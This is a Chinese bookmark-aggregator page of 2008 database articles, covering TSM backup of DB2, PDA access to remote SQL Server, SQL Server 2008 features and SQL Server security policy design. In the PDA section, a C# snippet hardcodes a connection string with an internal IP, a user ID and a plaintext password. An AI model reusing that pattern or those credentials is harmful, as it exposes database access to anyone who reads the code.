到这里,TSM server 端的配置就完成了。关于这些 tsm server 命令的详细介绍,可参考《IBM Tivoli Storage Manager for AIX Administrator's Reference》。
设置环境变量
在安装完 TSM backup-archive 客户端后,它会自动安装相应的 TSM client API,之后需要在系统环境变量中定义三个环境变量。分别是:DSMI_CONFIG, DSMI_DIR 和 DSMI_LOG。之后的 DB2 备份中,将会使用这三个变量。
DSMI_CONFIG
这个环境变量设置了 TSM client API option file 的位置。如果安装了 TSM backup-archive 客户端,则它在 WINDOWS 平台下的默认值为‘C:\Program Files\Tivoli\TSM\baclient\dsm.opt’。如果把它安装到了其他位置,则将该环境变量设置成相应的值。如果该目录下没有 dsm.opt 文件,可以自己生成一个。关于如何配置该文件可参考《IBM Tivoli Storage Manager for Windows Backup-Archive Clients Installation and User's Guide》。
DSMI_DIR
这个环境变量设置了 TSM client API 的安装路径。在 WINDOWS 平台下,默认的安装路径为:‘C:\Program Files\Common Files\Tivoli\TSM\api’。
需要注意的是,TSM V5.5 之前的默认位置是‘C:\Program Files\Tivoli\TSM\api’。新版本发生了一些变化。
DSMI_LOG
该环境变量设置了 TSM client API 的错误日志 dsierror.log 所在的目录位置。如果安装了 TSM backup-archive 客户端,则它在 WINDOWS 平台下的默认值为:‘C:\Program Files\Tivoli\TSM\baclient’。如果没有,生成一个即可。
对 TSM client 进行配置
配置完 TSM server 后,需要对 TSM client API 进行配置。Windows 主要配置的是 dsm.opt 文件。也就是 DSMI_CONFIG 中所指向的文件。在这个文件中,需要指明 TSM client 与 TSM server 的通讯方式,TSM client 所使用的 TSM 节点名,以及密码的访问模式。下面,如图 1 所示给出一个 dsm.opt 的文件示例。可以用文本编辑器对其进行编辑:
生成 TSM 节点的加密密码
在前面的配置都完成后,需要调用 dsmapipw.exe 可执行文件,默认安装 DB2 的安装目录“c:\program files\ibm\sqllib\adsm\”下,对之前设置的 TSM 节点密码进行加密。这个加密的密码将会被保存在 windows 的注册表中。
运行 dsmapipw.exe 的时候,将会要求输入当前的节点密码,新密码,并且对新密码进行确认,如图 2 所示。
图 2. 设置的 TSM 节点密码
除了可以通过密码来进行安全保护外,TSM V5.5 版本还提供了一种叫做 Secure Socket Layer(SSL) 的数据保护机制。通过配置使用 SSL, 可以在 client 和 server 之间提供一条安全的通信通道,提高用户备份数据的安全性。具体的 SSL 配置说明,可参考《IBM Tivoli Storage Manager for Windows Administrator's Guide》。
对DB2进行设置
对于每一个需要备份的 DB2 数据库,它都有四个与 TSM 有关的参数需要设置,分别是:TSM_MGMTCLASS, TSM_NODENAME, TSM_PASSWORD, TSM_OWNER。
TSM_MGMTCLASS
这个参数值表示的是该数据库将会绑定到哪一个管理类中。如果该参数设置了,那它的优先级将高于默认的管理类和 include-exclude list 中的设置。相应的 DB2 命令为 update db cfg。具体的命令示例如下:
Update db cfg for sample using tsm_mgmtclass db2mgmtclass
如果运行成功,则返回如下结果:
DB20000I The UPDATE DATABASE CONFIGURATION command completed succesfully
该命令把 sample 数据库的配置参数 TSM_MGMTCLASS 的值设置成了之前定义的管理类 db2mgmtclass。
当然,该功能也可以通过 DB2 GUI 来实现。
TSM_NODENAME
该参数值表示了 DB2 数据库备份时使用的节点名。
如果在 dsm.opt 中设定 PasswordAccess=generate,则该参数需要设为空值
如果在 dsm.opt 中设定 PasswordAccess=prompt,则该参数需要设置为前面定义的节点名
TSM_PASSWORD
该参数值表示了 DB2 数据库备份时使用的节点的密码。
如果在 dsm.opt 中设定 PasswordAccess=generate,则该参数需要设为空值
如果在 dsm.opt 中设定 PasswordAccess=prompt,则该参数需要设置为前面定义的节点密码
TSM_OWNER
该参数表示了备份对象的 owner. 这个参数是针对 UNIX 操作系统的,对于 WINDOW 平台,不需要设置。在 UNIX 平台下,
如果在 dsm.opt 中设定 PasswordAccess=generate,则该参数需要设为空值
如果在 dsm.opt 中设定 PasswordAccess=prompt,则该参数需要设置
进行数据库备份操作
到这里为止,所有的配置都已经完成。现在就可以使用 TSM 来备份 DB2 了。
DB2 的备份操作可以通过 DB2 Command line interface(CLI) 以及 Graphical user interface(GUI) 来实现。下面,就以 Command line interface 为例进行说明。在 DB2 中的相关命令为 backup db。具体的命令示例如下:
Backup db sample use tsm.
如果运行成功,则返回如下结果:
Backup successful. The timestamp for the backup image is: 20071127163936
该命令用 TSM 对数据库 sample 进行了一次全备份。这次备份的时间戳为 20071127163936。
在 TSM server 上,可以使用命令 query volume 以及 query content 对备份数据所在的存储卷进行查询,从而可以得到存储的内容。具体示例如下:
Query volume volm1
该命令可以获得存储池 db2filepool 中存储卷 volm1 的信息。
Query content volm1
该命令可以获得存储卷 volm1 中的所有备份文件的信息。
这些命令的运行结果如图 3 所示:
图3. 数据库备份运行结果
从中可以看到,sample 数据库作为一个文件保存在 TSM 的存储卷中。
进行数据库还原操作
和数据库的备份一样,数据库的还原操作也可以通过 DB2 Command line interface(CLI) 以及 Graphical user interface(GUI) 来实现。下面,就以 Command line interface 为例进行说明。它使用的命令是 restore db。具体的命令示例如下:
Restore db sample use tsm taken at 20071127163936
在这里,sample 数据库使用时间戳为 20071127163936 的数据库备份来进行数据库还原。该命令的运行结果如下图 4 所示:
图4. 数据库还原命令的运行结果
进行数据库表空间的备份操作
TSM 除了支持对 DB2 数据库级别的备份之外,还支持表空间级别的备份操作。它同样可以通过 DB2 Command line interface(CLI) 以及 Graphical user interface(GUI) 来实现。下面,就以 Command line interface 为例。它使用到的命令是 backup database DBNAME tablespace(SPACENAME) online use tsm。具体的命令示例如下:
Backup database sample tablespace(userspace2) online use tsm
如果运行成功,返回如下结果:
Backup successful. The timestamp for this backup image is: 20080514003631
在这里,TSM 对 sample 数据库中的表空间 userspace2 做了一次全备份,时间戳为 20080514003631。
进行数据库表空间的还原操作
数据库表空间的还原操作也可以通过 DB2 Command line interface(CLI) 以及 Graphical user interface(GUI) 来实现。下面,就以 Command line interface 为例。它使用到的命令是 restore database DBNAME tablespace(SPACENAME) online use tsm。具体的命令示例如下:
restore database sample tablespace(userspace2) online use tsm taken at 20080514003631.
如果运行成功,返回如下结果:
DB20000I The RESTORE DATABASE command completed successfully.
在这里,sample 数据库的表空间 userspace2 使用时间戳为 20080514003631 的备份来进行表空间还原。
TSM 软件把备份的数据保存在各种类型的存储卷中。对于 V5.5 之前的版本,TSM 只允许对 FILE 类型的存储卷进行互斥的访问,而 V5.5 增加了对于 FILE 类型存储卷的并发读写操作。也就是说,在同一时刻,可以允许以下行为的并发:
1.多个 client 对同一个 FILE 类型的存储卷进行并发的读操作。
2.一个 client 对 FILE 类型的存储卷进行写操作,而其他的用户可以同时对该卷进行读操作。
因此,在使用 TSM V5.5 来备份 DB2 数据库 / 表空间的时候,如果采用的是 FILE 类型的存储卷保存备份数据(如本文中的示例),则可以进行以下的并发行为:
1.多个 client 同时对保存在同一个存储卷中的备份数据库 / 表空间进行还原操作。
2.一个 client 在备份 DB2 数据的同时,可以允许其他 client 对该存储卷中的其他备份数据进行还原操作。
TSM V5.5 的这项新功能通过对 FILE 类型存储卷的并发支持,可以比较好的提高客户在还原数据库时的性能。
http://tech.ccidnet.com/art/1105/20080701/1494025_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-1 16:35:42 | 相关网摘,我也收藏
来源:Early sow,early mow - 博客园
在Windows CE 5.0或Pocket PC 2003 或Sarthpone 2003中,可以使用下面三种方法访问远程数据.
第一种:
使用 Web Service 作为中介访问数据,在PDA中可以直接访问安装在访问器上的Web Service,通过Web Service就可以访问远程数据库了.了解Web Service这种方法应该很简单.使用Web Service可以在速度上会稍显得有点慢.
第二种:
直接访问数据库
如果你使用得Sql Server 2000或SQl Server 2005都可以直接访问,如果你使用得Access数据库那就只能用上一种方法了.听PDA公司的人说SQL Server 2000要升级到SP4,但好像我没有升级数据库也可以访问到.大家可以试试看. 如果你是在Vs 2005里开发,就先添加System.Data.SqlClient引用,如下面的一段代码(其实和桌面系统一样访问): SqlConnection conn = new SqlConnection("Server=10.116.192.7;DataBase=smcgz;User ID=salesmng;Password=j6f7j7g2;Persist Security Info=True;");
try
{
SqlCommand cmd = new SqlCommand();
cmd.CommandText = "select Count(*) from Inventory";
cmd.Connection = conn;
conn.Open();
textBox1 .Text = cmd .ExecuteScalar ().ToString() ;
}
catch (SqlException ex)
{
MessageBox.Show(ex.Message.ToString ());
}
第三种:
还有只要是直接使用Socket,如果你是写过网络程序的,这应该都知道怎么解决了,把写一个客户端安装在PDA上,在PDA上使用Socket 连接服务器传递数据,当然还得写一个访问器端,开启监听接受客户端的数据,并向将从数据种查询到的数据发送到客户端.使用这种方法就比较复杂和麻烦.
http://www.cnblogs.com/emosen/archive/2008/07/01/1233072.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-1 16:31:47 | 相关网摘,我也收藏
来源:冉冉毅马的专栏 - CSDNBlog
随时随地处理数据
SQL Server 2008 通过协助你的组织随时随地管理任何数据来达成微软数据平台愿景。它能直接在数据库中存储结构化数据、半结构化数据,以及类似图片、音乐等的非结构化文件。 SQL Server 2008 实现一整套集成化服务,能够让你的数据在诸如查询、搜索、同步、报表及分析等方面有超常表现。你的数据可在相当广泛的平台上存储并被访问,从数据中心最庞大的服务器上直至桌面级和移动设备上,不管存储在哪儿均能得到有效的操控。
SQL Server 2008 允许你用以微软 .NET 及 Visual Studio 开发的自定义应用、面向服务的架构来消费数据,也可让 Microsoft BizTalk Server 业务流程中的信息工作者以日常使用的任何工具(如 Office 2007 等)来直接访问数据。SQL Server 2008 能为你的全部数据需求实现一个可信的、高效的、智能的数据平台。
SQL Server 2008 新特性:一 二 三
1、可信性增强
SQL Server 为你的业务决策应用提供最高级别的安全性、可靠性和可伸缩性。
1.1、对有价值信息的保护
1.1.1、透明数据加密
透明数据加密允许对整个数据库、数据文件或日志文件进行加密而不需变更应用。其优势如下:范围及模糊搜索均可用于搜索加密数据,保护数据免受非法用户搜索,不必对现有的应用程序作出任何变动就可实现数据加密。
1.1.2、可扩展的密钥管理
SQL Server 2005 为加密和密钥管理提供了一个综合解决方案。针对这方面日益增长的需求,SQL Server 2008 通过第三方密钥管理和 HSM 产品能搞得更优秀的。
1.1.3、审计
通过动态链接库来创建并管理审计,同时通过提供更全面的数据审计来简化审计跟踪。这使组织能够解答诸如"检索到了什么数据"之类的常规疑问。
1.2、确保业务的持续性
1.2.1、增强的数据库镜像
SQL Server 2008 构建于 SQL Server 2005 之上,并提供更加可靠的带增强数据库镜像功能的平台,包括自动页修复、性能提升以及增强的可支持性。
1.2.2、数据页的自动恢复
通过显式地从镜像成员请求置疑页的一个刷新副本给终端用户及应用,SQL Server 2008 允许代理及镜像机显式地从 823/824 类数据页错误中恢复。
1.2.3、日志流压缩
数据库镜像需要在各镜像执行参与者间进行数据传输。在 SQL Server 2008 中,各参与者之间的输出日志流压缩达到性能的最优化,以及数据库镜像对网络带宽的最小化占用。
1.3、开启对响应的可预见性
1.3.1、资源管理器
简要地说,资源管理器给终端用户提供一致的和可预见的回馈,它允许组织为不同的负载指定资源限额及优先级,可使并行负载能为其终端用户提供一致的性能。
1.3.2、可预见的查询执行
通过提供函数锁定查询规划来强化查询执行的稳定性和可预见性,允许组织在硬件服务器替代、服务器升级以及产品部署等场景创设稳健的查询规划。
1.3.3、数据压缩
数据压缩能允许数据更有效地存储并降低其存储要求,也能显著改善大规模 I/O 负载(如数据仓库)的性能。
1.3.4、热插拨 CPU
热插拨 CPU 就是通过允许向受支持的硬件平台上的 SQL Server 2008 添加 CPU 资源而不需让应用强制宕机,来实现按需动态收缩数据库的规模。要注意的是,SQL Server 已具备联机添加内存能力。
http://blog.csdn.net/ranzj/archive/2008/06/28/2595000.aspx
xuejinyoulan收录,使用标签:数据库,时间:2008-7-1 16:28:53 | 相关网摘,我也收藏
来源:oyhj_nicholas - 网易博客
Microsoft建立了一种既灵活又强大的安全管理机制,它能够对用户访问SQL Server服务器系统和数据库的安全进行全面地管理。按照本文介绍的步骤,你可以为SQL Server 7.0(或2000)构造出一个灵活的、可管理的安全策略,而且它的安全性经得起考验。
一、验证方法选择
本文对验证(authentication)和授权(authorization)这两个概念作不同的解释。验证是指检验用户的身份标识;授权是指允许用户做些什么。在本文的讨论中,验证过程在用户登录SQL Server的时候出现,授权过程在用户试图访问数据或执行命令的时候出现。
构造安全策略的第一个步骤是确定SQL Server用哪种方式验证用户。SQL Server的验证是把一组帐户、密码与Master数据库Sysxlogins表中的一个清单进行匹配。Windows NT/2000的验证是请求域控制器检查用户身份的合法性。一般地,如果服务器可以访问域控制器,我们应该使用Windows NT/2000验证。域控制器可以是Win2K服务器,也可以是NT服务器。无论在哪种情况下,SQL Server都接收到一个访问标记(Access Token)。访问标记是在验证过程中构造出来的一个特殊列表,其中包含了用户的SID(安全标识号)以及一系列用户所在组的SID。正如本文后面所介绍的,SQL Server以这些SID为基础授予访问权限。注意,操作系统如何构造访问标记并不重要,SQL Server只使用访问标记中的SID。也就是说,不论你使用SQL Server 2000、SQL Server 7.0、Win2K还是NT进行验证都无关紧要,结果都一样。
如果使用SQL Server验证的登录,它最大的好处是很容易通过Enterprise Manager实现,最大的缺点在于SQL Server验证的登录只对特定的服务器有效,也就是说,在一个多服务器的环境中管理比较困难。使用SQL Server进行验证的第二个重要的缺点是,对于每一个数据库,我们必须分别地为它管理权限。如果某个用户对两个数据库有相同的权限要求,我们必须手工设置两个数据库的权限,或者编写脚本设置权限。如果用户数量较少,比如25个以下,而且这些用户的权限变化不是很频繁,SQL Server验证的登录或许适用。但是,在几乎所有的其他情况下(有一些例外情况,例如直接管理安全问题的应用),这种登录方式的管理负担将超过它的优点。
二、Web环境中的验证
即使最好的安全策略也常常在一种情形前屈服,这种情形就是在Web应用中使用SQL Server的数据。在这种情形下,进行验证的典型方法是把一组SQL Server登录名称和密码嵌入到Web服务器上运行的程序,比如ASP页面或者CGI脚本;然后,由Web服务器负责验证用户,应用程序则使用它自己的登录帐户(或者是系统管理员sa帐户,或者为了方便起见,使用Sysadmin服务器角色中的登录帐户)为用户访问数据。
这种安排有几个缺点,其中最重要的包括:它不具备对用户在服务器上的活动进行审核的能力,完全依赖于Web应用程序实现用户验证,当SQL Server需要限定用户权限时不同的用户之间不易区别。如果你使用的是IIS 5.0或者IIS 4.0,你可以用四种方法验证用户。第一种方法是为每一个网站和每一个虚拟目录创建一个匿名用户的NT帐户。此后,所有应用程序登录SQL Server时都使用该安全环境。我们可以通过授予NT匿名帐户合适的权限,改进审核和验证功能。
第二种方法是让所有网站使用Basic验证。此时,只有当用户在对话框中输入了合法的帐户和密码,IIS才会允许他们访问页面。IIS依靠一个NT安全数据库实现登录身份验证,NT安全数据库既可以在本地服务器上,也可以在域控制器上。当用户运行一个访问SQL Server数据库的程序或者脚本时,IIS把用户为了浏览页面而提供的身份信息发送给服务器。如果你使用这种方法,应该记住:在通常情况下,浏览器与服务器之间的密码传送一般是不加密的,对于那些使用Basic验证而安全又很重要的网站,你必须实现SSL(Secure Sockets Layer,安全套接字层)。
在客户端只使用IE 5.0、IE 4.0、IE 3.0浏览器的情况下,你可以使用第三种验证方法。你可以在Web网站上和虚拟目录上都启用NT验证。IE会把用户登录计算机的身份信息发送给IIS,当该用户试图登录SQL Server时IIS就使用这些登录信息。使用这种简化的方法时,我们可以在一个远程网站的域上对用户身份进行验证(该远程网站登录到一个与运行着Web服务器的域有着信任关系的域)。
最后,如果用户都有个人数字证书,你可以把那些证书映射到本地域的NT帐户上。个人数字证书与服务器数字证书以同样的技术为基础,它证明用户身份标识的合法性,所以可以取代NT的Challenge/Response(质询/回应)验证算法。Netscape和IE都自动在每一个页面请求中把证书信息发送给IIS。IIS提供了一个让管理员把证书映射到NT帐户的工具。因此,我们可以用数字证书取代通常的提供帐户名字和密码的登录过程。
由此可见,通过NT帐户验证用户时我们可以使用多种实现方法。即使当用户通过IIS跨越Internet连接SQL Server时,选择仍旧存在。因此,你应该把NT验证作为首选的用户身份验证办法。
三、设置全局组
构造安全策略的下一个步骤是确定用户应该属于什么组。通常,每一个组织或应用程序的用户都可以按照他们对数据的特定访问要求分成许多类别。例如,会计应用软件的用户一般包括:数据输入操作员,数据输入管理员,报表编写员,会计师,审计员,财务经理等。每一组用户都有不同的数据库访问要求。
控制数据访问权限最简单的方法是,对于每一组用户,分别地为它创建一个满足该组用户权限要求的、域内全局有效的组。我们既可以为每一个应用分别创建组,也可以创建适用于整个企业的、涵盖广泛用户类别的组。然而,如果你想要能够精确地了解组成员可以做些什么,为每一个应用程序分别创建组是一种较好的选择。例如,在前面的会计系统中,我们应该创建Data Entry Operators、Accounting Data Entry Managers等组。请记住,为了简化管理,最好为组取一个能够明确表示出作用的名字。
除了面向特定应用程序的组之外,我们还需要几个基本组。基本组的成员负责管理服务器。按照习惯,我们可以创建下面这些基本组:SQL Server Administrators,SQL Server Users,SQL Server Denied Users,SQL Server DB Creators,SQL Server Security Operators,SQL Server Database Security Operators,SQL Server Developers,以及 DB_Name Users(其中DB_Name是服务器上一个数据库的名字)。当然,如果必要的话,你还可以创建其他组。
创建了全局组之后,接下来我们可以授予它们访问SQL Server的权限。首先为SQL Server Users创建一个NT验证的登录并授予它登录权限,把Master数据库设置为它的默认数据库,但不要授予它访问任何其他数据库的权限,也不要把这个登录帐户设置为任何服务器角色的成员。接着再为SQL Server Denied Users重复这个过程,但这次要拒绝登录访问。在SQL Server中,拒绝权限始终优先。创建了这两个组之后,我们就有了一种允许或拒绝用户访问服务器的便捷方法。
为那些没有直接在Sysxlogins系统表里面登记的组授权时,我们不能使用Enterpris Managr,因为Enterprise Manager只允许我们从现有登录名字的列表选择,而不是域内所有组的列表。要访问所有的组,请打开Query Analyzer,然后用系统存储过程sp_addsrvrolemember以及sp_addrolemember进行授权。
对于操作服务器的各个组,我们可以用sp_addsrvrolemember存储过程把各个登录加入到合适的服务器角色:SQL Server Administrators成为Sysadmins角色的成员,SQL Server DB Creators成为Dbcreator角色的成员,SQL Server Security Operators成为Securityadmin角色的成员。注意sp_addsrvrolemember存储过程的第一个参数要求是帐户的完整路径。例如,BigCo域的JoeS应该是bigco\joes(如果你想用本地帐户,则路径应该是server_name\joes)。
要创建在所有新数据库中都存在的用户,你可以修改Model数据库。为了简化工作,SQL Server自动把所有对Model数据库的改动复制到新的数据库。只要正确运用Model数据库,我们无需定制每一个新创建的数据库。另外,我们可以用sp_addrolemember存储过程把SQL Server Security Operators加入到db_securityadmin,把SQL Server Developers加入到db_owner角色。
注意我们仍然没有授权任何组或帐户访问数据库。事实上,我们不能通过Enterprise Manager授权数据库访问,因为Enterprise Manager的用户界面只允许我们把数据库访问权限授予合法的登录帐户。SQL Server不要求NT帐户在我们把它设置为数据库角色的成员或分配对象权限之前能够访问数据库,但Enterprise Manager有这种限制。尽管如此,只要我们使用的是sp_addrolemember存储过程而不是Enterprise Manager,就可以在不授予域内NT帐户数据库访问权限的情况下为任意NT帐户分配权限。
到这里为止,对Model数据库的设置已经完成。但是,如果你的用户群体对企业范围内各个应用数据库有着类似的访问要求,你可以把下面这些操作移到Model数据库上进行,而不是在面向特定应用的数据库上进行。
四、允许数据库访问
在数据库内部,与迄今为止我们对登录验证的处理方式不同,我们可以把权限分配给角色而不是直接把它们分配给全局组。这种能力使得我们能够轻松地在安全策略中使用SQL Server验证的登录。即使你从来没有想要使用SQL Server登录帐户,本文仍旧建议分配权限给角色,因为这样你能够为未来可能出现的变化做好准备。
创建了数据库之后,我们可以用sp_grantdbaccess存储过程授权DB_Name Users组访问它。但应该注意的是,与sp_grantdbaccess对应的sp_denydbaccess存储过程并不存在,也就是说,你不能按照拒绝对服务器访问的方法拒绝对数据库的访问。如果要拒绝数据库访问,我们可以创建另外一个名为DB_Name Denied Users的全局组,授权它访问数据库,然后把它设置为db_denydatareader以及db_denydatawriter角色的成员。注意SQL语句权限的分配,这里的角色只限制对对象的访问,但不限制对DDL(Data Definition Language,数据定义语言)命令的访问。
正如对登录过程的处理,如果访问标记中的任意SID已经在Sysusers系统表登记,SQL将允许用户访问数据库。因此,我们既可以通过用户的个人NT帐户SID授权用户访问数据库,也可以通过用户所在的一个(或者多个)组的SID授权。为了简化管理,我们可以创建一个名为DB_Name Users的拥有数据库访问权限的全局组,同时不把访问权授予所有其他的组。这样,我们只需简单地在一个全局组中添加或者删除成员就可以增加或者减少数据库用户。
五、分配权限
实施安全策略的最后一个步骤是创建用户定义的数据库角色,然后分配权限。完成这个步骤最简单的方法是创建一些名字与全局组名字配套的角色。例如对于前面例子中的会计系统,我们可以创建Accounting Data Entry Operators、Accounting Data Entry Managers之类的角色。由于会计数据库中的角色与帐务处理任务有关,你可能想要缩短这些角色的名字。然而,如果角色名字与全局组的名字配套,你可以减少混乱,能够更方便地判断出哪些组属于特定的角色。
创建好角色之后就可以分配权限。在这个过程中,我们只需用到标准的GRANT、REVOKE和DENY命令。但应该注意DENY权限,这个权限优先于所有其他权限。如果用户是任意具有DENY权限的角色或者组的成员,SQL Server将拒绝用户访问对象。
接下来我们就可以加入所有SQL Server验证的登录。用户定义的数据库角色可以包含SQL Server登录以及NT全局组、本地组、个人帐户,这是它最宝贵的特点之一。用户定义的数据库角色可以作为各种登录的通用容器,我们使用用户定义角色而不是直接把权限分配给全局组的主要原因就在于此。
由于内建的角色一般适用于整个数据库而不是单独的对象,因此这里建议你只使用两个内建的数据库角色,,即db_securityadmin和db_owner。其他内建数据库角色,例如db_datareader,它授予对数据库里面所有对象的SELECT权限。虽然你可以用db_datareader角色授予SELECT权限,然后有选择地对个别用户或组拒绝SELECT权限,但使用这种方法时,你可能忘记为某些用户或者对象设置权限。一种更简单、更直接而且不容易出现错误的方法是为这些特殊的用户创建一个用户定义的角色,然后只把那些用户访问对象所需要的权限授予这个用户定义的角色。
六、简化安全管理
SQL Server验证的登录不仅能够方便地实现,而且与NT验证的登录相比,它更容易编写到应用程序里。但是,如果用户的数量超过25,或者服务器数量在一个以上,或者每个用户都可以访问一个以上的数据库,或者数据库有多个管理员,SQL Server验证的登录不容易管理。由于SQL Server没有显示用户有效权限的工具,要记忆每个用户具有哪些权限以及他们为何要得到这些权限就更加困难。即使对于一个数据库管理员还要担负其他责任的小型系统,简化安全策略也有助于减轻问题的复杂程度。因此,首选的方法应该是使用NT验证的登录,然后通过一些精心选择的全局组和数据库角色管理数据库访问。
下面是一些简化安全策略的经验规则:
用户通过SQL Server Users组获得服务器访问,通过DB_Name Users组获得数据库访问。
用户通过加入全局组获得权限,而全局组通过加入角色获得权限,角色直接拥有数据库里的权限。
需要多种权限的用户通过加入多个全局组的方式获得权限。
只要规划得恰当,你能够在域控制器上完成所有的访问和权限维护工作,使得服务器反映出你在域控制器上进行的各种设置调整。虽然实际应用中情况可能有所变化,但本文介绍的基本措施仍旧适用,它们能够帮助你构造出很容易管理的安全策略。
http://blog.163.com/oyhj_nicholas/blog/static/3235925200852910624335/
xuejinyoulan收录,使用标签:数据库,时间:2008-7-1 16:02:22 | 相关网摘,我也收藏
来源:Lisa.Chen - CSDNBlog
一、基本概念
(一)线程
SQL Server 使用操作系统的线程来执行并发任务。在不使用纤程的情况下,SQL Server将启动线程,并由OS将线程分配给CPU,线程管理由OS内核控制,当一个线程完成退出CPU,其他线程调度占用该CPU时,将发生一个上下文切换,这个切换是在应用程序的用户模式和线程管理的内核模式之间的切换,所以需要付出一定的代价,应当尽量避免这种切换
(二)纤程
为了减少上下文切换,引入纤程的概念,可以在SQL Server中启用纤程,纤程是线程的子模块,纤程由运行在用户模式下的代码管理,所以切换纤程比切换进程的代价少的多,因为纤程模式不需要在将用户模式和内核模式中切换,而切换线程则需要这种转换。
(三)两者的区别
SQL Server管